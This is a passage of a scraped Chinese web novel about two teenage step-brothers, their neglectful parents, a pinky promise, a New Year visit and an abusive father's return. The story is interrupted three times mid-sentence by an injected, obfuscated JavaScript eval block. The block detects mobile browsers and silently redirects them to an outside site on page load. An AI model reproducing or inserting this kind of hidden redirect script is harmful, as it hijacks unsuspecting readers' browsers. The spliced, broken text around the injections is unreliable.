方谕揉揉后脖颈,一脸深藏功与名的深沉样,低调地走出电梯说:“教材不一样,所以差了点。” “……你管年级前三十叫差。”陈舷跟着走了出来,手插着兜,一脸不爽,“别凡尔赛啊,你哥可是在年级倒数那一溜称王称霸呢。” “我看见了。”方谕回头笑笑,“你年级倒数第三呀,哥。” 他笑得一脸狡黠,跟只狐狸似的。陈舷顿时心里一阵火起,跑过去一拳擂在他肩膀上:“你敢嘲笑你哥!我找你妈告状去!” “错了错了,”方谕接住他的拳头,委屈巴巴地求饶,“哥,我错了,行不行?” 他撇着嘴眨着眼,乌黑的眼睛可怜兮兮的,谁看了都得心软一下。陈舷一看他这样就心里一哽,沉默半晌,不禁说:“我真是很想念刚见面时你那桀骜不驯凶得要死的样子。” 谁能想到,他长的那副凶样,等一熟悉起来,这装委屈的事儿随手就来。 方谕吃吃笑起来:“那别生我气了,行不行?” “谁生你气了,跟你闹着玩呢。”陈舷收手,拉着他往外走,“走走,去理发店。我给你找一家绝对不翻车的,保准你依旧帅。” 17.拉勾 陈舷在手机上搜了半天点评攻略,带着方谕去了附近一家评分还算高的理发店。 他在旁边陪着等了半天,等到方谕做完头发,俩人又一起回了家。那时候已经完全入冬,路上天气荒凉,树木光秃秃的,半点枝叶都没有了。 陈舷出来的急,忘记戴耳罩和手套,连围巾也没有。迎面的冷风一吹,他连打了好几个喷嚏,忍不住抱起胳膊,两手插进袖子里,耸起肩膀,像个农村老太太似的走起路。 方谕转头一看他,见他冻得哆哆嗦嗦成了这样,乐了两声,把围巾摘下来给他:“你戴吧。” “嗯?” 陈舷停下脚步,望了眼他光秃秃的脖颈,“不用,你自己戴吧,我从小就这么冻大的。” “你明明就很冷啊,哥。别跟我客气了,你围上吧。” 话正说着,迎面吹来的风突然猛地大了。旁边的大树忽的一摇,路上的行人也惊叫几声,许多人停了下来。 风大得迷眼,人的衣发都被吹得掀飞。 方谕冻得一个激灵,缩起脖子,跟只鹌鹑似的。 陈舷噗嗤一下笑出了声来。 “你快自己留着吧。”陈舷说。 方谕撇了撇嘴,倔道:“可是你也冷啊。” 这倒也是。 风真的变大了,陈舷满脑袋黑毛乱飞,也缩了缩脖子。 “那这样吧。”陈舷拿过他手里的围巾,“你刷到过那个视频没有?俩人系一条围巾那个。” “我不怎么刷视频。”方谕说。 “……你以后冲一下浪吧,我怕你没几年就变成那种特别无聊的老干部。” 方谕撇撇嘴,有点不服,但还是答应了他:“好吧。” “好了,你低头。” 陈舷手握着围巾,说话时呼了几口白气出来。 方谕听话地弯身低头。陈舷把围巾绕到他脖子上,然后又绕到自己脖子上,把他们彼此一起套到了一个圈里。 方谕一惊:“哥?” “你别动。”陈舷满面红光,兴致勃勃地笑着,把围巾又绕了几圈,“这样不就能两个人戴一条围巾了?你哥聪不聪明?” 方谕不说话了。 陈舷听见他咽了口口水的声音。但陈舷没来得及管,也没去看,他手上正忙。 陈舷把围巾又绕了圈,然后在他俩之间系上了个结。绑好围巾,他抬头朝方谕一乐:“你看看,这样不就行……你脸怎么这么红?” 方谕脸红得像充血,连耳朵根都是红的。 陈舷一说,他不自在地别开眼睛,欲盖弥彰地咳嗽了声,说:“冷的。” “哇你那么怕冷的,”陈舷信以为真,“那你还说什么要把围巾给我?笨蛋。” 方谕抽了抽嘴角,眼珠滴溜溜转回来,瞅了他一眼,突然脸就更红了,又忙不迭地别开眼睛。 “哥,”方谕声音讪讪,“咱俩,是不是有点太近了?” “有吗?”陈舷眨巴眨巴眼,又浑不在意地乐起来,“近点就近点呗,咱俩这哥哥弟弟的,怕什么授受不亲啊。走走走,跟哥回家。” 他挽起方谕的胳膊,挽起的那一瞬,方谕一僵。陈舷依然没在意这个,没心没肺地拉着他笑着,把脸埋在和他围的同一条围巾里,拉着他回家去了。 路走到一半,天上飘起了雪。 俩人一高一矮,差了活活有半个头,方谕不得不弯身低头陪他走。陈舷偏头看看路边的景,发觉飘起了雪,他仰头看看天,呼了口白气出来,弯起眼睛转头说:“哎你看,下雪了。” 方谕脸上还是一片红,正望着他。 陈舷猝不及防这样一转头,两人四目相对。方谕眼中一惊,慌忙又别开脸,望去旁边的飘雪,撇了撇嘴一声不吭。 陈舷愣了下,笑出声来:“你干嘛啊?” “没事。” “没事什么没事呀,躲着我干什么?小鱼,这么容易害羞呀,跟你哥贴的这么近都受不了?” 方谕羞恼起来:“都说了没事了!” “没事的话你倒是看看我呀?” “不看!!” 陈舷哈哈笑出声来。 方谕更恼了:“你别笑!” 陈舷笑得停不下来。 后来他们回家,吃饭,开学。 日子一天一天安然无事地过去,方谕跟他越来越近。十二月的月考后,方谕奔向年级前二十,老陈都高兴的不行,特地为了这事儿,他请全家人去高级餐厅吃了顿饭,满面红光地一个劲儿夸方谕。 他说他就没感受过这种得意,这种高兴,这种欣慰,他说你哥打小就没有过这等丰功伟绩,平生最大的成绩是小学唯一一次拿的语文一百分。 “那会儿一年级。”老陈感叹,“一年级第一次期中考就满分,我高兴得以为生了个学霸,结果后来发现出道即巅峰。” 陈舷:“……能给我留点面子不。” 方谕跟他妈捂着嘴,吃吃笑起来。 “你呀,你也不用跟我说什么面子,你以后闲着没事去你弟屋子里找他,让他教你几道题。”老陈说,“你别每次都让我没脸去家长会。” “说的好像你去过似的。”陈舷笑着,“运动会你也没去过啊。我每年运动会都跑第一,那不也很给你挣脸吗!挣脸的都不见你去,就算考的好了,我看你也不一定去。” 他笑着说完,吃了口牛排。 老陈被他说得没话说。 他哼哼唧唧两声以后,又没话找话:“你少来,别顶撞你爸。不去家长会那不也是在给你挣钱吗!家里多了个榜样,你以后也好好学习,多跟你弟学学。” “知道啦。”陈舷笑着应。 他说着,咬着吸管喝了口汽水,压下了心里的那些不是滋味儿。一转头,他就见方谕眼神复杂地看着他。 陈舷一顿,差点被汽水呛到。 ——“他真的,一次都没去过吗?” 回到家的时候夜深人静,方谕换上睡衣洗过澡,就钻进了陈舷屋子里。 陈舷也洗过了。他拿毛巾擦着头发,把门关严反锁,回头笑了笑说:“真没来过,从来没来过。” 方谕坐在他床上,脑袋上顶着毛巾。他听得皱了皱眉,抓起陈舷床上的大鹅抱枕,抱在怀里呼噜了两下。 “以前他还没跟我亲妈离婚的时候,我亲妈一直来。后来离婚了,我亲妈走了,就再也没人来我的家长会了。不止家长会,百日誓师大会也好运动会也好,什么文艺汇演全校庆典也好,他全都没来过。” “班主任还给他打过好多电话呢,他都说自己忙。百日誓师那会儿没办法——大家都有家长嘛,就我一个跟孤儿似的站在那儿,旁边一直有人指指点点。班主任没办法,就直接坐在我跟前,当我的誓师对象了。” “她喜欢我,其实也有一部分原因是可怜我。剩下的原因……我成绩不好,但是不逃课,作业也交,睡觉但是不打扰别人,又乖又不乖的,所以才喜欢我的吧。” “哎,我是不是有点好笑?当不良又不彻底,当好学生,成绩又这个吊样。我就纯纯一个四不像啊!” 说着,陈舷笑了两声,随后一发不可收拾。他笑得越来越厉害,好像是在说什么笑话似的,笑得声音都断断续续。 方谕望着他,眼睛随着他的眼睛飘离,脸上落着一片怜悯的凄楚。 陈舷浑然不觉,还笑着说:“我跟你说,其实最开始我成绩还行。” “但是到了家长会上,我爸没来,后来到了第二个学期,我就不好好学了。那会儿,他俩刚离婚,我爸从白天到晚上都不着家。他都不管我,我就想让他管管我,问我怎么成绩变这么差,是不是他哪儿疏忽了。” “结果他还是不来,我后来都交白卷了,他还是不来。”陈舷笑着,“等我回过神来,我真的追不上去了,我不会的太多了。干脆我就什么都不干了,反正没人管我。” “结果今天他跟我说,让我好好学——他居然在乎!哎,你说他要是在乎我的学习,怎么之前都不管我?”陈舷说,“你有没有觉得他这人特别搞笑?” 陈舷哈哈乐个不停,笑得眼睛都红了。 方谕看着他,脸色越来越晦暗。 “你怎么不笑啊?”陈舷抹抹眼睛,“不好笑吗?我笑点太……” “哥,”方谕说,“自己的痛处不能当笑话讲。” 陈舷愣住。 像被突然打了一巴掌,他怔愣在那儿半天,脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581798|170483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上浮上一片猝不及防的迷茫。 “委屈的话,可以直说,可以哭。”方谕说,“我不会笑你的。” 陈舷眼睛忽闪两下,忽然无所适从。他后退两步,下意识地尬笑两声,抹了把脸。眼前很不是时候地模糊了一片,他吸了口气,眼泪却很不听话地滚滚落下。 这么多年早已麻木的事儿,他以为怎么说出来都没事的事儿,方谕简简单单两句话,却一下子让它决了堤。 陈舷转身去抹眼泪,眼泪却越流越多,他也越来越委屈。他终于绷不住了,他转身,朝着方谕走过去两步,扑到他身上,抽抽噎噎地哽咽起来。 方谕抱住他,把他往身上拉了拉。 陈舷很快把他肩膀哭湿了。他深吸一口气,下意识觉得对不起人家:“你有洁癖没有?” “没有。”方谕苦笑不得,“没事,哥,你放心哭。” 陈胜强和方真圆还在家,陈舷还是不敢哭大声,只抱着方谕小声小声地抽搭。 他哽咽很久,后来哭累了,就抱着方谕不动弹。发呆了又好久,他说小鱼,咱躺下吧。方谕说好,就抱着他躺在了床上。 屋子里开着暖黄的床头台灯,灯光不强。陈舷望望灯,又转头呆呆望着天花板。 “我爸总不回家。”他又唠唠叨叨起来,“好几年了,我每次回家都一个人。我爸回家总是很晚了,也不怎么跟我说话,每个礼拜跟人机似的准时打一笔生活费。” “嗯。”方谕应声,表示自己在听。 “小鱼。” “嗯。” “你可别离开我。” “……” “我说真的。”陈舷说,“你现在在陪我,知道吗。” “我知道。” “以前我没人陪,天天跟死了似的。”陈舷念叨,“你现在在陪我,我还活着。但你哪天要是走了,又把我整成一天到晚没人管的那样,我估计就要想不开了。” “别瞎说。”方谕有点不高兴。 “谁跟你瞎说了,我说真的。”陈舷揪揪他的睡衣,翻了个身过来,面对他正色说,“以后不要离开我,你哥我就是只化人形的兔子精,太寂寞,我就嘎巴一下死给你看。” “我都帮你打退宗哲阳了,你可不能忘恩负义地不管我。”陈舷伸出手,“来,跟哥拉勾,以后不许抛弃哥。” 方谕哭笑不得:“太幼稚了吧?” “不管,我妈说跟人拉勾是最好的约定方式。”陈舷说。 “几岁的时候跟你说的。” “五岁。” “五岁的事你还当真?” “那自然当真,这是我妈说的。” 方谕无可奈何,伸出手来,跟他拉了勾。 小拇指和小拇指相勾上,尚且残留湿气的沐浴露香味儿蔓延。方谕小指有点冷,陈舷把他轻轻往自己身前拉过去,一脸严肃道:“叫我一辈子哥。” 方谕无奈地应:“好。” “不是说‘好’啊,要发誓!”陈舷嚷嚷着纠正,“一个字一个字地给我发誓!你要叫我一辈子哥!” 见他不满,方谕连忙拿出另一只手按了按,苦笑着示意他知错,开口说:“我叫你一辈子哥。” “叫谁一辈子哥。” “我叫陈舷一辈子哥。”方谕复读。 “你以后绝对不离开我!” 方谕说:“我以后绝对不离开你。” 陈舷哼哼唧唧:“这还差不多。” “对,这很差不多。”方谕说,“我以后绝对不离开我哥。” 五星级酒店里,正厅富贵堂皇,外头风雪交加。 叼着一根烟,陈舷晃晃悠悠走出酒店。 迎面寒风吹来,落雪凛冽。他抬头,头上是密布的乌云。 满脑袋黑毛被风吹得杂乱,嘴里叼着的烟头燃着细微的火光。 陈舷两眼麻木,一团烟气飘了起来。缥缈的白烟中,他看见十四岁的方谕弯着眼睛无奈笑着,在昏黄的暖灯里,伸着手指,陪他拉了几下小指,陪他念着一百年不许变,说辜负的人要吞一千根针。 陈舷嗤地笑了声,身形摇晃地走向远处,吐出嘴里的烟头,把烟踩灭在地上。 物是人非。 18.过年 “你对我已经知根知底了,小鱼。” 拉完勾的第二天一早,陈舷起了个大早。 陈舷诚诚恳恳说这话的这会儿,方谕刚起,正在卫生间里顶着一脑袋鸟窝似的乱毛刷牙,嘴里全是牙膏沫子。 他一脸睡眼惺忪,听了这话,又无语且无奈地低眼一瞧。 陈舷正扒在洗手台边上,仰着脑袋,眼睛亮晶晶地盯着他,虔诚得像拜神仙——方谕就是这尊神仙。 “你对我,已经知根知底了。”陈舷又说了一遍,“小鱼。” 方谕朝他一挑眉,示意这话刚刚他听到了。 “所以!”陈舷啪地双手合十,兴高采烈地两眼冒光,“你接受了哥的全部,哥也愿意接受你的全部!有什么事儿,你都可以跟哥说!什么事哥都帮你兜着!” 方谕噗嗤一笑,随后一个哆嗦,赶忙低身。 他差点把一嘴牙膏沫子吞进喉咙里。 方谕匆匆接了水,咕噜噜地漱干净了嘴巴。他转头拿着毛巾擦干净嘴,才说:“用不着,哥,我的事你也差不多都知道了。” “那不是还不全面嘛。”陈舷说,“你笑啥?” “笑你大早起就演这种恩恩爱爱小夫妻才会玩的坦诚局的戏码。” 陈舷很不赞同:“你这话说的,哥哥和弟弟之间怎么就不能玩坦诚局了。” “主要是,咱俩已经玩过了。”方谕把毛巾往肩膀上一搭,拿出洗面奶来,“我不就那点儿事。家.暴的爹,放养的妈,悲惨的我。” 陈舷:“……” 方谕打开水龙头,洗了一把脸,哗啦啦的水流声里,陈舷盯着他看。 洗完了脸,方谕拧上水龙头。细密的水珠洇湿方谕的脸和发丝,顺着他的脸颊滴滴滑落。方谕抓起肩膀上的毛巾,擦了一遍脸。 他一转头,才看见陈舷盯着自己的灼灼目光。 “又干什么?”方谕问。 “没啊,就是在想,你昨晚说我不能说笑话,结果自己现在说这些,也跟说笑话似的。”陈舷说,“不要这么风轻云淡好吗?” “哪儿说笑话了,我只是轻描淡写。”方谕用毛巾搓搓自己湿掉的刘海,“他都打人了,能是什么好事。我不想跟你提,你不要问了。” “哦。” 陈舷想想也是,有的人想让别人心疼,就会拉着别人说自己委屈——比如他。 但也有的事不仅是委屈,更是害怕,是心理阴影,是提都不敢提的恐惧,所以一个字都不想说——比如方谕。 他说得对,他不想揭自己的伤疤也正常。 “那我不问了。”陈舷说,“但你哪天要是憋不住了,或者突然想说了,就来找我,什么时候都可以。半夜三更也行,你过来直接把我摇醒,我随时都能听。” 方谕笑出声来:“这么随叫随到?” “那当然了,我是你哥。”陈舷一脸大义凛然,“哥什么都为你做。” “别说得这么视死如归。”方谕拉了把他胳膊,“起来了哥,吃饭去。” 陈舷一直趴在洗手台旁边半蹲着。 方谕这话一出,他应了声,一个猛子蹦了起来,高高兴兴地出去吃饭了。 今天周日,陈胜强和方真圆不在家。老陈家的装修公司全周无休,员工们虽是做五休二,但都有调班,有一大半都是在平日休息。 毕竟是干装修的,客户一大半都是周末才有空,所以公司里周末其实最忙。 作为老板,陈胜强在周末时也时不时的得出门,见客户或者去应酬,对接业务等等,要忙的事很多。 方真圆是那公司里的销冠,又已经是公司的老板娘了,自然得跟着出去忙,周末时也变得越来越不着家。 平时上班她也是七八点才醒,那时候陈舷跟方谕早上学去了——所以方真圆其实根本就没怎么给他俩做过早饭。 因此,陈舷跟方谕的早饭大都是自己解决。周末的时候点外卖,上学的日子就在学校门口吃手抓饼,或者去食堂来碗泡面。 这天也是。 爹妈都不在家,陈舷一大早叫了小馄饨来,还有五六个肉包子。 他跟方谕坐到桌子跟前,一口一个小馄饨,把一桌子早饭消灭了个干净。 那时候外头寒阳高照,早晨的太阳斜斜地投了一块儿歪斜的正方形下来,冬风在呼呼悠悠地吹。 后来陈舷再想起,总恍惚地觉得这是段好日子,下意识地以为自己没再过以前那种没人管的孤儿日子。可其实仔细一想,他的日子其实和从前没有任何改变。 老陈依然早出晚归,早上不管他,晚上也不管他,只是给了新老婆和新儿子一个面子,晚上会回来吃饭。 方真圆也是,她起初对他殷勤了一两个月,后来也不怎么管他,只是给新老公和新儿子一个面子,晚上会做饭给他们吃。 可很多时候,他们还是不管他们。每天晚上的那一顿饭似乎只是互相讨好粉饰太平的欺骗餐,爹妈其实仍然对他们不上心。 尽管陈舷也会感谢方真圆每晚的付出。 但陈舷那几年过得开心了,其实是因为有了方谕。 他意识到的时候,已经过去了很多年。 十二月之后就是期末,期末之后放了寒假。 冬天越来越冷了,雪下得越来越频繁。 过年的时候,老陈和方真圆特意带着他俩远跨半个中国,跑去在荷城的方家拜年。 临走前那晚,老陈拉着陈舷,语重心长又半带着乞求:“老儿子,你爸娶你后妈不容易。” “……啊。”陈舷讪讪。 “你后妈这算远嫁,咱们一家人虽然才过了半年不到,但也已经是一家人了。”老陈说,“这回,回你后妈家,你可得给你老子我长点脸。该说的话一定要说,不该说的话千万别说,听到没?” “我知道。”陈舷无语,“我有那么不识趣吗?你知道我是三中最著名的交际花吗?我男女老少通吃,你放心,这世界上就没有见过我陈舷还会不喜欢我的。” “……你能有个正形吗,说的都什么屁话。”老陈说,“你跟小鱼相处的不错,我也放心,你后妈那边的家人冲着这个,对你印象也坏不到哪儿去。” “你别说错话就行——你可千万别说错话,算你爸我求你了。你要是表现好,爸给你包个大红包。” “那都无所谓,但是方谕最近手机不好用。”陈舷说,“你给他换个好点儿的就行,他应该这几天就要跟他妈提了,你别说是我告诉你的。” “还有这事儿。”老陈嘟囔,“行,没问题,小事。” 除夕夜前日,他们这一家四口就奔赴去了荷城。 陈舷第一次见到了方家的人。 老陈带他回的是方谕的外公外婆家,一开门就全是人。 陈舷一进门就满面笑容,毕恭毕敬地和他们一一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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空气骤然冷了几分。 方谕没说话,外婆却仿佛丝毫察觉不到他的沉默,追问他:“说话呀,你这孩子,怎么总不说话。” 又沉默片刻,方谕继续手上铺被子的动作:“我不知道。” “你怎么不知道?” “又不跟他联系。”方谕抻了抻手里的被子,“我妈不让我联系。” “就算不让你联系,你也得主动联系联系啊,”外婆语气着急,“你这孩子怎么这样?那好歹是你亲爹。就算他跟你妈离婚了,就算他做的净是些混蛋事,那也是生你养你的爹……” 陈舷越听越觉得势头不对。他飘开眼神,眼瞅着背对着他的方谕死抓着被子,一个劲儿地抻着边角——被子都已经铺好了,但他还在机器似的抻着被边。 陈舷连忙凑到老太太身边:“哎哎,外婆!这大过年的,咱家有没有夜宵啊?” “嗯?”外婆转头看他,“你饿了?” “对对,有点饿,刚刚都没吃饱,”陈舷哈哈笑了两声,“好外婆,你给我找点去嘛。” 外婆慈眉善目地哈哈一笑,伸手不轻不重地推了他一把:“这个小贪吃鬼!好吧,你等着,我去给你找点东西来。” 外婆走了,带上了门。门咔哒关上的那一瞬,陈舷听见重重松了一口气的声音。 他转头,看见方谕瘫软了一身的骨头,碰地倒在墙边上。他靠着墙,转身望向外头深沉的夜色,脸上一脸悲凉。 19.周延 陈舷脱下拖鞋,三下五除二地爬到了方谕床上。 他坐到方谕旁边,循着他的目光,一起望向窗外的黑夜。荷城地处最南方,即使这会儿是一年四季最冷的时候,气温也有十八九度。 外头树叶翠绿,路灯明亮。 他外婆家楼层不高,正正好好能看见外面婆娑摇曳的树影。路灯照在叶子上,是暖晃晃的金色。 陈舷没说话,就只是坐在他身边。 方谕沉默了很久很久,也没吭声。 屋子外头传出一阵笑声,大人们在谈笑风生。电视的声音也吵闹地响着,不知在播什么电视剧。 “你可以问点儿什么。”方谕突然说。 陈舷瞥了他一眼。 方谕扭回过脑袋来,眼睛望向他。 他已经平静很多了,只是眼里还残留着些不愿咽下的怨恨。 “哦,问点什么。”陈舷想了会儿,没头没脑地问他,“你说你外婆一会儿能给我喂点什么来?” “……” “你别这个看傻子似的眼神看我,我说真的。”陈舷大脑放空,一脸天真,“我真饿了。昨天来之前,我爸跟我说,一定要在你们家乖一点,搞得我一点儿出格的事儿都不敢做,饭都不敢多吃啊,生怕你那些姨姨舅舅说我。你哥我十五岁了,人生头一次只敢在饭桌上吃半碗饭。真服了,不知道到底是我爸来见老婆家长,还是我见。” 陈舷有一茬没一茬地唠叨起了废话,语气抱怨。 “哥……我说,你可以问我点什么。”方谕有气无力,“你不是之前就想问,我爸的事吗?” “我还答应你了,你不主动说我就不问啊。”陈舷歪歪脑袋,“想说自己说嘛,我绝对不逼你。” 方谕怔了片刻,苦笑了笑。 “你还挺有原则。”他说。 “你哥一向很有原则,不然怎么在三中吃这么开。”陈舷朝他乐,“没事,不想说就不说。你哥就算不清楚这里面什么事,也会帮你遮风挡雨的。” 陈舷说这话时笑得坦然,一双眼睛微微弯起,跟狐狸似的。 小屋里的台灯昏黄地亮着,陈舷眼睛里也亮着抹光,看起来湿漉漉的。 方谕愣了会儿,噗嗤又笑起来。 陈舷莫名其妙,张嘴刚想问他笑什么,结果鼻子里一痒,张嘴就打了个喷嚏。 “早跟你说穿少了。” 荷城没有暖气,打下午下飞机开始,方谕就一直嘟嘟囔囔说陈舷穿的少,会着凉——可这里的气温足足十七八度,陈舷打小就是从零下活过来的,这点儿气温实在算不上冷。 陈舷抹抹鼻子:“你就杞人忧天,瞎担心。我这不是冷,我只是平平无奇地打个喷嚏好吗?” 方谕不听他的。他拉起被子来,盖在陈舷身上,也盖在了自己身上。 “就是穿少了。”方谕很固执,“盖着。” 陈舷无语,方谕这话说的真跟成了他妈似的——有一种冷叫你妈觉得你冷。 懒得跟他争,这被子盖着也不算热,陈舷干脆靠着墙仰头一躺,乖乖地盖上被子了。 方谕忽然说:“你知道我在这屋子住了几年吗?” “啊?”陈舷歪歪脑袋,“这屋子一直是你住的来着?” “是啊。”方谕说。 “我靠,这么小一个屋子。”陈舷说,“你住了几年?” “我五岁的时候过来住的,一直没离开。今年年中,我妈又结婚了,我才被接到你那边去,差不多在这里住了九年吧。”方谕说,“当年我住进来的时候,这小区都有两年了。” 这个看得出来。陈舷下午进小区时,光看楼的老旧程度就看得出来,这地方很有历史。 “我五岁开始,我妈就不管我了。那年她终于下定决心离婚了,离婚之后她就出去找工作,一直在上班,没空管我,我就住到外婆家里,在这附近的小学里上学。”方谕说,“不过我性格不好,小学里没朋友。” “我妈跟我爸离婚了,但是外婆还是一直问我亲爸,问我有没有去看过。” “我怎么可能去看。”方谕唠叨,“我外婆总这样,明明她也知道我爸都干过什么。可她之前还跟我说,等我爸老了,他还是得找我来,我还是得给他养老送终,说什么毕竟是我亲爹,以后等老了,他会知道自己错了的……她怎么这么想,我以前还因为这个跟她吵了一架。” “老人嘛,没办法,有的思想就是根深蒂固。”陈舷叹息着笑笑,伸手揽住方谕一边肩膀,“我知道你不高兴,但这几天你就对付对付吧。等咱回家就好了,她又不跟着咱们回去。她要是为难你,哥就帮你出面,别太不高兴。” “我知道。”方谕拉起被子,缩了起来,“我就是不高兴。” 陈舷揉了两下他的头发:“那呼噜呼噜毛,不生气啊。” 方谕噗嗤笑出来,任由陈舷把他一脑袋头发揉成鸟窝。 门打开来,小老太太端着一盘子吃食进来了。 那是一盘子乱七八糟的糕点和面包。 “吃吧!”她递过来说。 陈舷连忙坐起身来,笑着说过谢谢,接了过去。 方谕还靠在墙上半躺着。他顶着一脑袋乱毛,看着陈舷拿着筷子大快朵颐的样儿,无奈地在后头笑起来。 过年真是个很闹腾的事儿,他们在荷城留到大年初七,期间一直闹闹腾腾的。 陈舷跟着老陈四处应付,好不容易才终于在老方家对付完了这个节日。回程的飞机上,陈舷终于松了口长气,一回家就瘫在床上,跟没电的机器人似的,哀嚎着说他没劲儿了,他要死了。 老陈见他这样,很嫌弃地怼了他几句,然后给他发了个大红包。 陈舷这才满血复活,他欢呼着喊“爱你老爸明天见”,然后拉着方谕跑出门去吃金拱门了。 老陈在后头喊:“少喝可乐!” “知道啦!” 但陈舷那天还是喝了很多可乐。 如今再想,陈舷总觉得吃米线那天,他那伙兄弟真是说对了。 他跟方谕,日子过得这叫一个相冲。 陈舷特别爱喝汽水,但方谕不碰半点儿碳酸;陈舷不吃辣的,但方谕一顿没有辣子,就觉得生活没滋味儿。 年过完了,后来冬去春来,雪渐渐停,门口光秃秃的枯树长了新芽。初二又开学了,他们又每天背上书包上学去。 那时候单元门旁边栽了少见的西府海棠树,随着气温回暖,花渐渐开了。 花落的时候,回家的路上开始满地飘花。 转眼一两年。 陈舷还是老样子,无忧无虑地当他的吊车尾,一年到头都在年纪倒十的耻辱柱上光荣地挂着,简直是吊车尾的不老松,常青藤,永远屹立不倒。 老陈对着他的成绩单叹了几口气,抱怨几句后,也没说什么。 因为三中是初高中一体制。 所以老陈并不担心陈舷的升学。话说的糙点儿,那就是即使陈舷到时候全交白卷,三中也能把他捞到高中部。 到高中的时候要分班了,三中可没有大学部,高三是真的要高考。初三暑假这会儿,学校开了家长会,问家长怎么安排,要不要考虑考虑艺术生这条路。 方真圆突然就想起来,方谕小时候学过几年美术。 她说是方谕外婆一时兴起给孩子报的,没想到方谕真的学下来了,只是到了后来上了初中,方谕就没继续学。 但他的画一直不错,十二岁那会儿还去画过石膏素描,画得也有鼻子有眼的,老师评价他形体抓得挺准,有天分。 陈胜强一听这个,就问方谕要不要走美术生,他说家里完全供得起,想学就学。 方谕想了想,点头说行。 “那你这不是降维打击吗。” 陈舷在旁边嗦着可乐说——谈这事儿的时候他们一家人在吃晚饭,“你说你已经年级前十了,以后还要整个艺术分,你让你的同届怎么活。” “那咋了,咱有能力!”陈胜强说,“你也别闲着,我一会儿就去找画室,给你俩都报名。” 陈舷:“……为啥我也去?” “你试试呗,我都跟你们老师说了,你也去走特长路。”陈胜强嫌弃地睨他一眼,“不然你怎么办?你看看你期末考试的成绩单,这叫一个愁云惨淡民不聊生鸟不拉屎难以直视我见犹怜。” 陈舷:“……” 陈舷头回发觉他爹的成语天赋着实异禀。 真是乱七八糟得令人佩服。 东亚小孩一向反抗不了爹妈,尤其十五六岁的时候,命脉全在爹妈手上。陈舷没办法,只能跟着方谕去了几天画室。 画室老师也是有先见之明,说没画过的话就先上两三天体验课看看吧,有的小孩坐不住。 三四天后,老陈拿着陈舷画出来的比毕加索都抽象的四不像的素描“煤炭”人头,沉默了很久。 他指着画上黑得油光瓦亮的人脸问陈舷:“这谁?” “你。”陈舷一脸诚恳,“我想让你感动感动,才硬要画的,老师本来不让。她说我才初学,不能上来就画人头,说我连基础都没打好。但我心中对你有爱,在我的强烈坚持下,这幅画才诞生于世!这画的名字叫《父亲》。怎么样?有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陈舷想了想:“还是别,老天爷的亲爹可能是玉皇大帝,祖上几个神仙啊敢这么说话。” 尚铭:“……我服了你了。” 陈舷嘿嘿地乐。 “哎,舷哥,我听说你报特长了?”尚铭问他,“你啥特长?” “游泳。”陈舷拧开水瓶喝水,又转头朝方谕扭扭头,“你们大帅干画画去了。” “我去!美术生!”尚铭惊呼,“你哥俩牛逼啊,学个特长还文武双全!” 陈舷反应过来:“诶,还真是。” 方谕只笑不语。 今天上午军训结束,刚去食堂吃过饭,学校就让学生们都回新教室里,说下午要开班会。 还没正式开学,分座也还没有。下午的班会估计很随意,所有人都是随便坐,玩得好的全都坐在一起。 方谕就坐在陈舷旁边。 “话说今天结束军训对吧。明天周末了,我听说今天下午开完班会,再放两天,等周一才正式开学。” 陈舷一惊:“真假的,还有两天假期!?这么爽!” 高鹏坐在陈舷后边,一听这话他嗤之以鼻:“搞毛,你不知道啊,军训的时候不是都传疯了吗?” “我没听说啊!”陈舷转头看方谕,“你听说没?” 方谕点头:“有听隔壁班的人说。” “我靠!就我一个被蒙在鼓里!”陈舷哀嚎,“怎么连你都不告诉我,你们排挤我吗!” “我以为你知道,”方谕哭笑不得,“你那么多朋友,我以为用不着我说,别人就已经告诉你了。” 高鹏乐了:“靠,我也是。” 陆艺伟也说:“诶,我也是,我以为方谕一定跟你说了。” 尚铭绷不住了,嘎嘎地乐起来:“我去,你那么多兄弟,每个都以为有别人告诉你了,结果就是谁都没说?我服了!哈哈哈哈哈……” 陈舷脸色发木,彻底无语:“我也服了你们了。” 一群人哈哈笑起来。 教室里吵吵嚷嚷,跟个菜市场似的,每个人都在吵。 高压的军训结束,大家都如释重负,这会儿全都情绪高涨,连满教室跑酷的都有。 咚咚。 前门突然传来两声敲门声。 整个教室的热闹猛地一顿,戛然而止。 陈舷转头看去,一个瘦瘦高高的男人站在教室前门那儿。 那是个皮肤白皙、尖嘴猴腮的男人,他一双眼睛里瞳孔略小,是双上挑狭长的三白眼。男人扬着嘴角笑着,看起来还挺慈眉善目,只是面容长得实在不善,瞧着便十分不怀好意。 “方谕在吗?”男人问。 陈舷:“?” 一只手猛地抓住他。 陈舷吓了一跳,回头一看,就见是方谕。方谕脸色惨白,紧抿着唇,死死瞪着门口的男人。他死死抓着陈舷一只胳膊,用力得手背上青筋暴起,整只手微微颤抖。 20.反击 一说方谕,全班都把脑袋扭了过来。 一个个脑袋齐齐看向方谕,也看向陈舷。 男人的目光跟着投了过来。 他看见方谕,眼睛一亮,嘴角一咧。 男人抬起手,用力挥了挥,对他大喊了一声掷地有声声音洪亮的“儿子!”,哈哈大笑,走了过来。 陈舷一怔。 男人一走近,身上就传来呛人的烟酒味儿。 陈舷一皱眉,下意识往后靠了靠,抬手挡住身后的方谕。 男人并不把他当回事。走到俩人跟前,男人笑眯眯地前倾下身,抻长脖子,脸凑到方谕跟前。 “你妈怎么换电话了?”男人拿出手机来,带着一脸贱笑,“来,把你妈新手机号告诉我。” “滚。” 